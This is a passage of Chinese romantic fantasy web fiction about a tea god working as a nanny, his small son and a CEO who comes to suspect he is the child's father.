白清语抱着手臂看小崽子挖冰淇淋:“宝宝,还不到五月份,你现在吃这个会不会太凉了?” 白小茶舔了舔嘴角:“没关系的,爸爸。” 家里没有冰淇淋,显然是贺任沅接他放学回来的路上买的。 太可恶了,把孩子放一楼吃冰淇淋,自己跑去二楼的书房加班。白清语踢踢儿子的屁股:“你去问问老板叔叔,这一碗冰淇淋分几次吃。” 白小茶呆呆地抱着冰淇淋球桶,还要分几次吃吗? 白清语:“爸爸帮你问。” 白小茶看着爸爸上楼的背影,嗷地咬了一大口,他一定是这个年纪吃冰淇淋最大口的宝宝噢! 等爸爸回来,他早就吃光了。 白清语站在书房外面,刚想推开门,反而踯躅起来,这要是贺任沅的圈套该怎么办? “有事吗?”贺任沅的声音从里面传来。 白清语忙道:“没事,我就是来拖地的。” 他真去找了拖把,把二楼的客厅擦了一遍,时不时瞥一眼书房的门,贺任沅最近也太忙了,赚那么多钱干什么?节俭一点花就行了。 书房里,贺任沅按了按额头,接起贺望重的电话。 贺望重哪有他儿子的烦恼,最近都在兴奋地搞事业,他注册了一家“茶宝餐厅”,专门提供亲子用餐,将儿童餐与益智娱乐结合得淋漓尽致。 “儿子,你觉得这个名字怎么样?专门给我孙子吃饭的地方。” 贺任沅听见“孙子”两个字,苦笑一声,他现在志不能在此了,“挺好的,茶宝一看就知道是他吃饭的地方。” 贺望重:“我还得设计一些小花样……” 贺任沅提议道:“不如设计一个刷脸吃饭?” 贺望重:“什么意思?” 贺任沅:“只要餐厅营业一天,刷茶宝和白清语的脸就能免费吃饭,茶宝最喜欢免费的,长相相似打折。” 百年之后,或许他都与尘土同归了,白清语还没未改变容貌,他来人间一天,总不至于没饭吃。 什么信托基金也是有,但贺任沅也不能完全保证白清语能一直持有目前这张身份证领取,过一百年总得换吧,不然户籍系统察觉不对劲。 贺望重觉得这个提议不错:“写入公司章程里,任何人不得改变。” 当爷爷的就得大气,只要长得像他孙子,一概打折。 贺任沅:“那您继续搞装修吧,记得口味是最重要的。” 贺望重:“当然,我心里有数。” 贺任沅挂断电话,看向门外,白清语应该还在磨磨蹭蹭地拖地。 他克制着自己,白清语应该能感受到冷冷热热的变化,他真是该死,就是这样对待救命恩人的? 他打开门,白清语一下子直起了腰。 白清语:“你这两天有什么心事吗?” 贺任沅抱着手臂靠在门框上,一笑,表情似乎有些无奈:“看不出来吗,我在以退为进地追你。” “啊?”茶神完全没有想过的路数,他为自己上当感到懊恼,贺任沅果然编织了一个套路。 不过……这说明大茶神的魅力没有下降!贺任沅还是喜欢喝两百年的茶的。 白清语道:“可不许使用这种肮脏的手段!” 贺任沅伸手把他堵在墙和门的夹角里,“那我是要使用以前那种强制激烈的手段?” 白清语气势微弱:“这个也是不允许的。” 贺任沅:“这样不许,那也不许,我很难办。” 白清语:“你可以不追求,我们就跟以前一样相处。” 贺任沅:“我郑重考虑一下。” 白清语高兴道:“你好好考虑,我去睡觉了。” 贺任沅看着被独留下来的拖把,拿过来拖了两下地,发现拖把没沾水。 他有必要换一个更温和的方式,比如让白清语试试去外面上班,接触更多的人,每个人类都独一无二,都挺有意思。 白小茶被爸爸重新抱走时,早就炫光了冰淇淋,他被放在卧室的床上,看见爸爸从抽屉里拿出了一把剪刀。 “宝宝又要剪头发了!”白小茶的小短手摸摸自己的脑袋,头发短短。 “不剪你的,剪爸爸的。” 白清语盘腿坐在床上,把青丝拢到身前,握住了一把发尾,咔嚓咔嚓剪一茬大约一公分的长度。 剪断的头发立即变成茶叶落下来,簌簌地像下雪一样。 白小茶伸出手去接,两只手掌合成的小漏勺很快接满了茶叶。 “爸爸有好多好多茶叶。”床上也堆了一堆。 白清语“嗯”了一声,成年茶神的头发又长又茂密,如果每次都剪短一公分,其实很耐剪的,因为每天都会长回来一些。 可见,邓伯故事里的书生有多可恶,困住茶神把一头青丝都作践成了短发。 而以前对茶叶索取无度的贺任沅,自从得知他是茶神,却再也没开口要过茶。 贺任沅是好人。 “因为老板叔叔是大好人,所以爸爸也要送茶叶给他。”白清语扫了扫床上的茶叶,拿个脸盆装好。 白小茶点点头:“是噢。”老板叔叔是会买冰淇淋球的大好人! 临睡前,白小茶似乎想起了什么,贴着爸爸,奶声奶气带着困意道:“小于老师说,周末……家长会……” 白清语已经定好了回老家的票,家长会也没有邓伯重要,便道:“好,让叔叔去开。” 他在微信上跟小于老师请假。小于老师说这次家长会要商讨五一春游和六一汇演,不来也可以,因为茶宝年纪太小了,这两样可以不参加。 白清语:“谢谢老师,茶宝就不参加了,我怕他在半途睡着。” 小于老师也有这个担心,因为只要阳光不错,茶宝就是倒头就睡,春游他能倒在马路上。 翌日,白清语认真泡好了一壶茶,准备带到贺任沅公司,感谢他买的自动喂食器,自己可以周末回家探亲。 他去贺任沅的公司越来越熟门熟路,带着口罩,低调地拎着一壶茶,贺任沅的秘书他也认识,知道如果找不到贺任沅就找她。 林秘书很是热心,也很看好白清语成为总裁夫人,悄悄告诉他公司里的情敌分布情况。 “明面上追贺总的,就是一个经理,她非常喜欢茶叶,能跟贺总聊明前雨后,跟聊星星聊月亮没啥差别,虽然跟贺总一个月说不上一句话,但你小心她近水楼台。” 白清语挠挠脸蛋:“喜欢茶叶,那不是贺总的情敌吗?不算我的。” 秘书:? 白清语:“少爷在哪?” 秘书:“今天贺总在见一个重要合作伙伴,你在这坐一会儿,我先进去送个茶。” 重要合作伙伴?白清语犹记得上回贺任沅也是见了一个重要客户,然后性情大变,好像被打击到了。 现在做生意这么难? 白清语:“我进去送怎么样?” 白清语脱掉普通外套,露出里面穿的制服,“我今天穿得也很合适。” 秘书捂了捂鼻子,被美到了,心道,送个茶也没什么,里面可是贺总,就算白清语出任何意外情况,贺总也甘之如饴地兜底。 “行。” “我带了茶,用我的!”白清语直接把自己的水壶拧开,倒进紫砂茶壶里。 秘书:“……也行。” 白清语端起盘子,敲了敲门,然后小心推门进去。 贺任沅直觉投去一眼,差点没绷住,怎么专挑他每次想克制隐忍的时候穿制服。他深吸了口气,站起来接过茶水:“谢谢,坐吧。” “不客气。”白清语从善如流地在沙发上坐下来,“给这位先生倒一杯大红袍。” 贺任沅倒出来两杯,做了个请的手势,自己先喝了一杯冷静一下。 跟贺任沅谈事情的是一位上了大约六十多岁的老者,姓余名经天,看见白清语指挥贺任沅的姿态,眼里闪过了然的表情。 余经天也端起茶盏,嗅了嗅茶香,眼神一凛,抿了一口,几乎是笃定地说:“纯种母树大红袍的味道,上次喝还是十几年前,这味道忘不了。” 白清语:“您是行家啊。” 贺任沅笑着介绍:“不止是行家,余老先生是茶叶领域的专家,高级茶行茶楼几乎是他家开的。” 贺任沅三年前萌发喝茶的习惯,也是从全国各地搜集好茶,没想过做茶叶营生。但余经天是真正爱茶,并将茶叶经营得风生水起的人。 茶叶也只是余经天的副业,他身后还有背景。 贺任沅:“余先生有一项本领,能通过一杯茶,判断出茶叶的年份、产地,炒制方法。” 余经天摆摆手道:“家学渊源,从小耳濡目染罢了。” 白清语心直口快道:“那跟我一样欸。” 怎么不算都是“茶叶世家”呢,他看老头的神情顿时变成了忘年交。 余经天闻言来了点兴趣:“你也会?那你尝尝这一包茶。” 白清语看见他随身带茶,更加觉得一见如故,“我去泡!” 他闻了闻茶叶,泡完之后尝了一口,样子功夫做足后,才道:“这是一百一十到一百三十年之间树龄的凤凰单丛,刚炒制不超过三天。” 其实他能说得更准确,怕露馅。 余经天赞赏道:“没想到你小小年纪青出于蓝,有没有兴趣来我茶行工作,工资随你开。” 白清语瞥了一眼贺任沅,道:“不行,我已经跟贺总签了工作合同,他给我开三万呢。” 余经天:“我翻倍,那贺总可愿意放人?” 白清语觉得贺任沅不可能同意,没想到他点头了。 贺任沅道:“清语很适合在茶行工作。” 白清语皱眉,贺任沅怎么回事啊? 他把贺任沅拉到一边:“你难道是想跟那个书生一样六万就把我卖掉?” 贺任沅斩钉截铁:“不是。” 白清语:“那你给我一个理由。” 贺任沅沉了沉气,道:“单个信徒的寿命是有限的,你在茶行工作,能遇到很多愿意重金一掷喝茶的人,学一些管理技能,将来就算我死了,你还能找到年轻的喝茶人,随便替他们管理个茶行,就能给茶宝无忧的生活。”授人以鱼不如授人以渔。 白清语盯着贺任沅,总结:“你死了我找别人?” 贺任沅觉得这话十分刺耳,难道他愿意把白清语介绍给其他爱喝茶的人吗,他恨不得私藏,但话糙理不糙,他总要死的。白清语在他家当保姆的环境太单纯,但茶叶很多时候被人为附加了复杂的利益,不是所有喜爱喝茶的人都是发自内心不掺利益的。最好在他眼皮子底下,安全地在茶叶的名利场转一转,长个心眼,免得跟茶宝一样,谁不喝咖啡就把头发给谁。 白清语突然脑袋灵光了:“我明白了,你不是以退为进,你最近确实不想追我了,因为你担心你死我前头。” 贺任沅:“没。” 白清语:“你又没追到我,杞人忧天干嘛?” 贺任沅:“……” 第45章 “我……”贺任沅哑然,“我怎么算杞人忧天呢?” 他都对白清语动手动脚了,再进一步真追到了怎么办,到时候再来思考这个问题是不是晚了? “因为我没有用过这个理由拒绝你。”白清语看着他,笨啊。 要是神仙都没有办法跟自己的爱人共度余生,还叫神仙眷侣吗? 贺任沅愣住,好像是他一叶障目,没有白清语聪明了。如果存在寿命差数,白清语是不是早就拿出来拒绝他了? “那、那是怎么办的?”贺任沅低头,虔诚的求问,如果是让白清语分出自己的寿元,那也不行,他宁可白清语陪茶宝的时间长一点。 白清语:“你没有追到我,我为什么要告诉你茶神的秘密?” 贺任沅:“……”是他的错觉吗,白清语在催他? 白清语故意道:“我可以自己消除记忆,搞不好我已经谈过很多次恋爱了。邓伯的故事你听了,拔除情根。” 这一句话有压碎肋骨心脏复苏的效果,贺任沅瞬间被气得濒死的心脏又活过来了。 别说了,他不爱听。 白清语非要说点贺任沅不爱听的:“你想把我转让给别的雇主?好,我答应他。” “不要走。”贺任沅抓住他的手,他脑子短路了他有罪,他为什么不能直接给白清语开个茶行呢。 白清语:“晚了。” 贺任沅咬牙:“我只是想让你多认识一些人,认识到茶叶爱好者的品行多样性和动机多样性。就算你换地方上班,晚上还得回来住。” 白清语:“你行为多样性。” 这句话显然在批判某个信徒对美丽的大茶神忽冷忽热。 贺任沅:“对不起。” 两个小情侣在一旁嘀嘀咕咕,年轻人呐,一点事情就要拌嘴,越吵吵越热闹。 等回到座位时,贺任沅道了声抱歉,“有一些家事。” 余经天浑然不在意,你们吵你们吵,这壶大红袍我一个人喝。 贺任沅伸手想给自己倒一点,发现茶壶空了,手腕一僵,收了回来。 余经天问白清语:“这壶大红袍——” 白清语道:“其实只是一百年的树,在炒茶的时候加工了风味。” 余经天点头,原来如此,那几棵母树不是轻易能弄到的,这是他近年喝过最好喝的大红袍,不把白清语招揽过来实在可惜。 但他也看出来了,先前只是白清语不乐意,小年轻吵完一架,贺任沅也不愿意放人了。 “你有空可以到我那里兼职。你刚才说我们经历差不多,这么说,你家里也是世代种茶?若是你家里人都手艺高超,我也愿意重金聘请。” 白清语:“家里人不会。”只有会干饭的茶宝。 余经天叹了口气:“我喜欢喝茶,倒不是为了沽名钓誉,而是我爷爷爱喝,小时候听他讲故事,他说当年二十不到,受了伤还染了鼠疫,后来有天有个青年人在路口施茶,很多人排队喝,他也喝了那个茶,还以为是临死了喝上孟婆汤,结果第二天糊里糊涂地好了。” “爷爷后来回去找那个青年,没找到,他便发誓要好好做出茶事业,惠及卖茶人。” 贺任沅本来在警惕余经天打感情牌,细听却觉得不对,他看了一眼白清语的神色,觉得是真的。白清语说他休眠期醒来就有了小茶宝,休眠是因为神力耗尽,神力耗尽是因为救人,救很多人。 白清语神色淡淡,并没有因为这个故事表现出欣喜或者骄傲,因为百年前的事情太久远,他只是做了身为茶神所能做的。 余经天讲完故事发现没用,招揽不到人才,有点遗憾。他爷爷小时候给他讲的故事,他很少对外提起,今日不知为何突然就当着两个后辈的面提起,或许是他这一生碰见真正懂茶的人不多,如故友重逢,如忘年之交。 贺任沅忽地对这个故事表现出兴趣:“这碗茶这么神奇?那太爷爷有没有说,喝完茶之后身体有没有出现特殊反应?” 余经天回忆:“那倒没有,估计爷爷喝到茶的心情,跟我今天喝到这碗大红袍差不多,毕生都会惦记。” 贺任沅道:“过誉了,清语也是偶然间得到这一壶好茶,能入您的眼很是荣幸了。” 余经天无语,他还没开口买茶呢,这就被婉拒了。 白清语想了想,从兜里掏出一小罐茶叶,本来准备放在贺任沅办公室泡的:“承蒙厚爱,送给您。” 感谢您与祖上对弘扬茶文化的贡献。 贺任沅放在腿上的手动了动,似乎想把茶叶罐子夺回来。 白清语压下了他的手,哼,敢惹茶神生气,茶叶送别人了。 “看来是贺总割爱的,我就笑纳了。”余经天顿时顾不上推辞,眼疾手快接过来一闻,便知道和泡的大红袍一样,一克千金,“我今天没白来,双喜临门。” 贺任沅却仿佛没接到余经天的暗示一般,眼神万分复杂,道:“您喜欢就好。” 白清语问:“双喜临门——” 贺任沅:“茶宝是不是该吃午饭……” 白清语:“你先别说话。余先生,双喜临门的意思是你们谈生意也谈成了是吗? 余经天:“怎么,你还怕我反悔不跟贺总合作啊?” 白清语笑眯眯道:“我不怕,您是好人。” 余经天:“那我就当个好人。” 送走余经天后,白清语疑惑地看着贺任沅:“真奇怪,你怎么合作谈成了还心情不好。” 贺任沅双手捏着茶神的脸:“你前脚送余经天茶叶,后脚就促成合作,会不会被什么天道监测到,你利用茶叶牟利?影响你的健康?合同还没签,不算正式合作,我马上取消。” 今天这场面,跟邓伯故事里书生利用茶叶讨好上峰,仔细想来并无区别。 贺任沅本来约余经天是谈正事,谈完再顺道一提把白清语塞进对方茶行实习。结果白清语意外进来,送了一罐茶叶,他看得提心吊胆。 白清语一愣,原来贺任沅是在担心这个:“不会,因为我不是出于帮你谈合作的目的送茶,我只是单纯想感谢余老一家对茶业的扩展。” 贺任沅:“真的?” 白清语:“你天天诬赖我救过你,我救过他爷爷却是实打实的。就许我送你,不能送他?” 会心一击。 贺任沅知道自己不该吃入土的人的醋,但是以后大家都要入土,都是茶神光阴里的过客,凭什么不能吃? 他嫉妒有人二十不到就遇到白清语,他切实窥到了茶神过去的人生一角,直面了神人之别,喝茶的人已是一抔黄土,茶神依旧美目如当年。 想对茶神以身相许的人肯定不少。 贺任沅冷不丁道:“他爷爷娶了两个老婆。” 白清语:“噢。” 他早就不记得排队领茶的人的模样,对他们的八卦也不感兴趣。 贺任沅深呼吸了下,语气笃定得不知道在说服谁,大胆开麦:“根据余经天所说,你救了他爷爷,但是他爷爷身上没有茶叶印记,我有,说明我们关系不一般。” 白清语听着贺任沅颠倒黑白,“那是什么关系?” 贺任沅:“至少是非法同居的关系。” 白清语:“我连百年前救了谁都记得——” 贺任沅低头亲了他一口,好了,他知道接下来的话他不爱听了。 白清语咬了回去,但没有出血,只是便宜了贺任沅。 一个绵绵的长吻,弥补了贺任沅大红袍被人喝了茶叶罐子被人截胡的伤害。明明是送给他的,却半路杀出来一个故人,还是他自己挑起的话题。 白清语红着脸,贺任沅又改回激进的追求手段了。 还好,他对这种手段有抵抗力了。 瞧,这次就没有让贺任沅得逞舌吻。 激进对他没用。 白清语:“我要回去了。” 他走出贺任沅公司楼下,才想起,自己本来是想给贺任沅送茶,顺便告诉他自己明天要回老家。 现在还要特意说吗?显得他好像被贺任沅追到了一样,都说了茶神不跟人类报备行程。 算了,明天上车再说吧。 周六,白小茶没有上课,贺任沅便也没有入室抢劫式洗尿布,让父子俩睡个好觉。 他今天要北上开会,不愿意提前过去住一晚,只能早早坐高铁出发。 他一出门,白清语后脚就抱着小崽子出去。 他变回身份证上的模样坐动车,这次没有选择绿皮火车,而是高铁二等座,只要三个多小时就到了。 南城动车站,两列动车隔着站台停靠,一辆往南一辆往北,工作人员不得不举着喇叭提醒别上错车。 白清语买了一堆吃的喝的,可能还被骗着买了一些溢价的老年保健品,但是他跟白小茶都特别高兴,坐在靠车窗的位置,放下小桌板,给白小茶吃豆花。 白小茶靠在爸爸怀里:“老板叔叔没有来?” 白清语捏捏他的脸蛋,宝宝你也是忘记了老板叔叔一回家就没饭吃的日子了。 “老板叔叔要上班赚钱。” 白小茶点点头:“这样子噢。” 白清语打开手机:“宝宝,你跟老板叔叔说我们要回去看邓爷爷。” 小崽子报备的,不是茶神报备的。 白小茶:“好噢。” 贺任沅带着两个助理,刚从电梯出来,往北上的高铁走,忽然觉得哪里不对,进门前猛地转身,果然在对面车窗看见白清语。 他立刻掉转方向,往对面奔去。 “贺总,这边是对的。”助理忙喊,老板却恍若未闻,他一下子懵逼了,所以他现在该上车吗? 贺任沅三两步跑进车厢,正好听见茶宝对着手机,奶呼呼地说:“叔叔,宝宝要回去看邓爷爷。” 一霎那,背后袭上的冷汗退却,理智回归原位。 恰好一名乘务员路过,贺任沅道:“麻烦给他改商务座,再补一张票。” 白清语吃惊;“你也要去?” 贺任沅倒是想,但不能丢下会议,“给茶宝补的,一直抱着太累。” “钱我转你微信。”贺任沅不给白清语反对的时间,主要是动车开点也不给他时间。 他坐商务座,老婆孩子挤二等座,幸好,他没有让这种事发生。 白清语抱着小崽子挪到商务座,宽敞,人少,目前就他俩,显得冤大头特别突出。 列车缓缓开动,白清语注视着对面的高铁。 白小茶:“叔叔在那边,宝宝和爸爸在这边。” 白清语:“宝宝你还会写诗了。” 很快,两列高铁把双方甩远。 白小茶端着豆花,左顾右盼:“爸爸,宝宝没有桌子吃饭了。” 白清语:“爸爸帮你端着,还是二等座比较适合宝宝。” 话音刚落,微信一响,贺任沅发来一张图片,是跟他差不多的座位,从扶手两侧抽出了一张折叠桌板。 [贺任沅]:给茶宝吃东西用。 白清语把桌板弄出来,人类提高价格的小把戏。 [贺任沅]:去跟乘务员要两份免费餐食。 白清语眼睛一亮,立刻照做,得到了两份,有菜有汤,“宝宝,是免费的噢!” 商务座有点东西。 白小茶:“免费的,好吃!” [贺任沅]:茶宝困了你也把座位拉开睡觉,回去才有精力跟邓伯唠嗑。 白清语回复:“好。” 贺任沅盯着这个好字,想象白清语和茶宝此刻终于和商务座和解的样子,脸上缓缓浮现笑意。 旁边的助理看得瑟瑟发抖,好陌生的表情。 白清语吃着免费的汤,和白小茶一起努力吃完,分量太多了,要是贺任沅在就好了。 他望着窗外飞驰的景象,忽然想起什么,给贺任沅发:“你昨天是吃醋了吗?” 不然好好的提人家爷爷娶两个老婆干嘛?想说自己没有老婆很值得骄傲? [贺任沅]:嗯。 [白清语]:…… [白清语]:明天幼儿园开家长会,你要是有时间就去帮我听一听。 贺任沅北上临市开会,当天来回,本来想直接从动车站南下,看见这条消息,只得更改行程。 白清语让他给茶宝开家长会,家长才能参加的会,他能不去吗? 如果白清语明天不回来,他就去找他。 翌日。 贺任沅对着镜子打好领带,戴上帽子和口罩,被他爸一通电话叫去了茶宝餐厅。 “设计图画好了,要开始装修了,你来看看有什么要改的。” “行,还有点时间。” 贺任沅来到茶宝餐厅,看见一个个工人在往里运输装修材料。 他爸对孙子的心意自不必说,当儿子的挑不出错,处处照顾了茶宝的身高。 一进门,便有一台机器,这更是贺望重的得意之作。 “儿子,快来看这个人脸相似度打分机器,我请专业团队做的,已经输入了茶宝的数据,你往这一站,他就告诉你打几折。” “你怎么不动?” 贺任沅心道,我怕被你打骨折。 在亲爹的催促下,贺任沅不得已站到机器前,想好了“谁说父子一定长得像”的说辞。 下一秒,机器语音甜美播报:“恭喜您,本次用餐三折巨惠!” 贺望重哈哈大笑,一把推开贺任沅,磨拳擦掌站在镜头前。 【恭喜您,本次用餐打七折!】 贺望重满面红光:“我也是沾上我孙子的光了!”说得好像羊毛不是出在他身上一样。 贺任沅手机定的家长会日程闹钟响起,他按灭了,准备离开,无语地评价:“您也是真大方了。”来个人就打折,挺好的,回馈社会。 贺望重又随机抓了一个员工:“你来试试。” 【对不起,本次用餐不打折。】 贺望重更加喜形于色:“不愧是我孙子,只有我能沾光。” 贺任沅脚步一顿:??? 不是,谁替他收买了这个机器?管家吗? 第46章 司机陈束提醒道:“贺总,得去幼儿园了。” 贺望重:“去幼儿园看茶宝?我也要去。” 贺任沅脑袋有些宕机,但还有一些人机的本能:“茶宝回老家了,我去给他开家长会。” 贺望重脸上顿时露出心照不宣的笑容,臭小子,都给茶宝开上家长会了,“茶宝不会还叫你叔叔吧?” 贺任沅:“……” 茶宝餐厅、舒贺大楼、幼儿园,同属一个商圈,连成一条直线,贺望重用心选址,希望他的宝贝孙子,上学、上班、吃饭,都一键搞定。 贺任沅:“爸,我先走了。” 贺任沅坐上车,司机陈束从后视镜里看老板,很少见的,从老板脸上看出脑袋短路的样子。 贺任沅过了一会儿,从兜里摸出手机,给管家打了一个电话:“齐叔,我爸做了一个茶宝相似度打分器,你知道吗?” 管家喜滋滋道:“知道,少爷您一定打骨折吧。” 贺任沅一时摸不清管家是哪种意思:“你……你帮我作弊了?” 管家一头雾水:“没有啊,还用作弊吗。” 贺任沅搭在大腿上的手掌捏皱了西装裤:“这么说,我长得像茶宝?” 管家拍马屁道:“哪能啊,是茶宝长得像少爷。” 这大喘气的说法,让贺任沅差点喘不上气:“去书房把我前年一月份附近三个月的档案拿过来。” 管家一听就明白了贺任沅的目的,少爷这是怀疑茶宝的身世了?但是茶宝一看就是跟白清语长得更像。 哦哦,外甥肖舅,少爷没有姐妹当不了舅舅,只能让白清语当舅舅了,茶宝长得跟白清语更像很合理。 这事儿最怕少爷问心无愧,少爷一怀疑,百分之九十九没跑了。 管家哼着歌上楼去找档案。 贺任沅沉默一会儿,又打电话给姑姑贺映。管家和他爸,一心想要孙子,可能有滤镜。姑姑最权威。 贺映:“干嘛呢,我在下乡。” 贺任沅:“您当初为什么介绍白清语来当保姆。” “看他带着个孩子不容易……”贺映反应过来,“好小子,你不会真是茶宝的爸爸吧。” 她哥哥提过认了茶宝,同时还指出贺任沅至今给茶宝当叔,贺映追问了一句亲子鉴定结果,贺望重含糊地说七成。 贺映便以为是贺望重一厢情愿。 贺任沅:“是因为您觉得茶宝长得跟我像,是么?” 贺映:“不然呢,我明知道你不喜欢小孩还敢往你家里搁。” 贺任沅被问得哑口无言,他当时听管家说白清语身体健康,还觉得是因为脑残才被介绍来。 贺任沅挂断电话,问陈束:“我跟茶宝长得像吗?” 陈束:“像。” 贺任沅开始怀疑身边人全是哑巴:“你们怎么从来没提过?” 陈束:“……因为茶宝跟他爸爸也像。” 贺任沅:“还有呢?” 陈束:“老板,这是您的私生活,我们怎么敢提。”背后八卦一下就得了,当着贺任沅的面不是找死吗? 贺任沅闭了闭眼,怪天怪地,最该怪他自己,他假扮茶宝的爸爸或者舅舅都没人怀疑过,他以为自己装得好,结果是占据了外貌优势。 他在沙滩上被阿姨当成茶宝爸爸指着鼻子骂了十分钟,也没被骂开窍。他被哑巴姐妹蛐蛐那么久,也没开窍。 贺任沅到幼儿园时,管家正好将档案送来。 家长会在一个小礼堂开,贺任沅不方便直接出面,坐在后台旁听。 他勾着档案的线圈,拆了一个又一个,寻找白清语在两年前出现过的蛛丝马迹。 然而,他这三年的记忆没有断层,档案也如实记录了他忙碌的工作日程。 茶宝十五个月大,二十五个月前,他在外国治疗失忆症一无所获。 白清语不可能在那个时间点出现过。 这些因素他姑姑早就帮他排除过了,他又是在做什么无用功? 找不到跟白清语的相交点,他的脑子只能是短路状态,推理不敢继续往下走。 礼堂年内的家长逐渐来齐了,大家都是同事,有的认识,有的不认识,总之都能聊几句,茶宝的名字频繁被提及。 “你们谁是茶宝的爸爸,茶宝的爸爸来了么?” “我儿子交代我一定跟茶宝哥哥的爸爸搞好关系。” “我儿子说他跟茶宝是最好的朋友。” “啊,不是吧,我儿子也是这样说的。” “所以茶宝的爸爸来了么?” 小章老师从书桌上搬起要发的材料,不小心把一本杂志弄到地上,摊开在其中一页。 杂志是舒贺集团内部杂志,摊开的一页正好是对总裁的新年专访,贺任沅的半身照被刊登在访谈旁边。 小章老师捡起杂志,忽然拉住一旁的小于老师,“我知道为啥觉得茶宝眼熟了,他跟我们总裁好像啊。” 小于老师支支吾吾:“浓眉大眼都长这样。” 贺任沅终于坐不住了,所有人,只要看一眼,都觉得茶宝跟他像,他还在这里讲究什么科学依据! 白清语本来就不科学,茶宝更是连人类DNA都测不出来。 都茶神了,谁说不能跟男人一起生孩子? 谁说茶神一定是怀胎十月,就不能是二十个月? 茶树春天授粉,秋天落果,茶籽埋进土里,和大茶树一起休眠,第三年的春天才发芽,这不是很合理吗? 贺任沅霍然起身,陈束连忙跟上:“家长会不参加了?” “通知我爸参加,送我去动车站。” 最近出发的高铁车次没有全程票可买,贺任沅买了站票。 无所谓,他也坐不住。 车次每到一个站点,他和许多重度烟瘾患者一样,一涌而出。 其他人忙着抽烟,他需要一点流通的空气来压制体内的非理智的喧嚣。 他仿佛一个忘记带烟的老烟枪,隐忍、克制、躁动,以至于每一站都有人问他要不要来一根。 贺任沅摆摆手:“我在戒烟。” 旁人投来同情的眼神:“兄弟,挺难受的吧?” 贺任沅:“难受。”再看不到白清语,吸不到白清语,他难受得要死。他带着空荡荡的记忆,满腔满怀的揣测,不知道能得到什么样的结果。 旁人:“我老婆说想生二胎,也让我戒烟,但我忍不住。” 贺任沅闻言伸手捏灭了他的烟头:“戒了吧。” “喂——你!” 从第四站开始,贺任沅有商务座的坐票了,他沉稳地坐在座位上,不再试图出去冷静。 虽然他老婆没有说要生二胎,但是出去吸二手烟也是不对的。 高铁穿越隧道越来越频繁,车厢内明明暗暗,信号时有时无,贺任沅知道,他离白清语越来越近了。 白清语也是这样从老家出发,穿山越岭,转过好几趟车,没有迷路地一直来到他身边的吗? 贺任沅眼眶发痛,他现在觉得,白清语是世界上最聪明的人了。 * 白清语带小崽子回家,最高兴的当然是爷孙俩了。 一看见白小茶,邓伯就牵出自己的老式二八大杠,把茶宝拎到后座。 邓伯一个扫堂腿上车,白小茶机敏地趴在后座上,免得被邓伯扫下去。 祖孙俩配合得很好,去市场上买了两斤五花肉,回来给茶宝做红烧肉吃。 第一天重逢的兴奋劲过去,生活总是回归日常,邓伯和白清语又开始一边看年代剧一边叠纸盒挣钱。 现在的茶叶包装越来越高档,哪怕是一盒卖百来块的茶叶,也竞争起了礼盒赛道,更别提还有电商渠道销量大涨,一天对纸盒的需求量不计其数。 白清语一边折一边评价:“今年这家大红袍的盒子比去年好看。” 白小茶哪里知道去年的长什么样,跟着爸爸起哄:“今年茶叶衣服好看。” 他坐在小板凳上,也承担了一道小小的工序——在爸爸折完一个礼品袋后,在背面贴一个银光闪闪的防伪标。 他贴着贴着,手臂上、白嫩嫩的脸蛋上也粘贴了一个防伪标,就像幼儿园的老师经常给表现好的小朋友额头上贴一朵小红花。 “这防伪标有啥子用。”邓伯吐槽,不就是一个贴纸么,又不是茶神手谕。 白小茶:“没有用!” 邓伯一看他脸上的防伪标,双标道:“我们茶宝脸上是真标,有用。” 白小茶弯起眼睛:“宝宝是真标!” 邓伯:“我们茶宝去城里上幼儿园,变得越来越聪明啦,还会帮爸爸干活。” 看起来不像没经验的。 白清语心虚地压好一个纸盒,轻轻放在了桌角给白小茶。 聪明宝宝白小茶在爸爸脸上也贴了一个:“爸爸也要。” 白清语:“谢谢宝宝。” 天色阴沉了两天,终于在午后放晴,邓伯立马关闭电视,抱起纸盒,道:“出太阳了,我们去外面做。” 一家三口搬搬抬抬,转移到院子里做活儿。 当贺任沅辗转几道,终于按照白清语身份证上的地址找到一处土楼时,看见的就是祖孙三代一起流水线叠纸盒的场景。 礼品袋上写着大红袍,场面甚至有种作茧自缚的幽默感。 他能把白清语装进茶叶盒子里揣走吗? “老板叔叔!”白小茶第一个发现风尘仆仆的叔叔,“叔叔,你也是来赚钱的吗?” 邓伯循着声音望过去,大吃一惊,“清语、清语,这谁啊!” ———————— 贺总:贴了防伪标,是真老婆。 第47章 类似邓伯的反应,贺任沅今天见过太多了——因为他和茶宝长得像,眼神好的人都会怀疑他们的关系。 他正是为处理这件事而来。 他身上还穿着专门为开家长会搭配的衣服,庄重又不失随和,他看着邓伯,状若从容地说:“伯伯好,我是清语的朋友贺任沅,也是茶宝的叔叔。” 随后,他又立即回答茶宝的问题:“嗯,叔叔也是来赚钱的。” 贺任沅看见旁边还有一把竹椅,拖过来,放在流水线的尾端,试图不动声色地融入。 白清语:“邓伯,他是我的老板。” 邓伯心道,不太像老板,像某种富书生。他一直以为茶宝没有第二个爸爸,毕竟茶宝这么可爱,没有哪个人类能有这种本事。可是今天,这个富书生长得有点本事。 邓伯年过半百,在他前半生中,茶神只是存在于祖辈和古书里的传说,他怀疑古书来自于某个写话本的祖宗瞎编,后来甚至连古书藏哪儿都忘记了。 直到三年前,茶神第一次上门,以神明本来的面貌,站在门口踯躅不前,很怀疑这个门楣破落的地方是不是他该来的。 邓伯一看到白清语,不夸张地说,似乎感受了祖先血脉的召唤,让他百分之百笃定白清语就是茶神。 白清语开口:“您是邓公后人吗?” 邓伯战战兢兢:“是,等候茶神多年。” 白清语笑了起来:“你能给我一碗稀饭吗?” 邓伯当即把早上没吃完的一点锅底刮下来,凑合了一碗稀饭。 茶神满意地端走了。 数个月后,再见茶神,对方抱着茶宝,神情又有些陌生打量他家:“茶宝要晒太阳,我可以在你家住吗?” 刚出生的茶宝,小小的一只,一整天几乎在睡觉,像晒太阳就会融化的小奶糕子。 邓伯没养过孩子,但见过邻居养孩子,正要出门去借点奶粉,白清语就阻止了他:“茶宝喝水就行。” 邓伯又张罗着要买贵的矿泉水,之前有个来旅游的小团体,喝的矿泉水七块钱一瓶,那种一定是最好的。 白清语却道:“不用浪费,接点雨水井水就可以了。” 邓伯眼睁睁看着白清语整天就给茶宝喂点雨水,甚至不用烧开,又揪心又心疼。 一勺一勺雨水,茶宝喝得很快,生动展示为什么雨水也叫甘霖。 茶宝就这样一天天地长大了,会蹬腿会抓握。 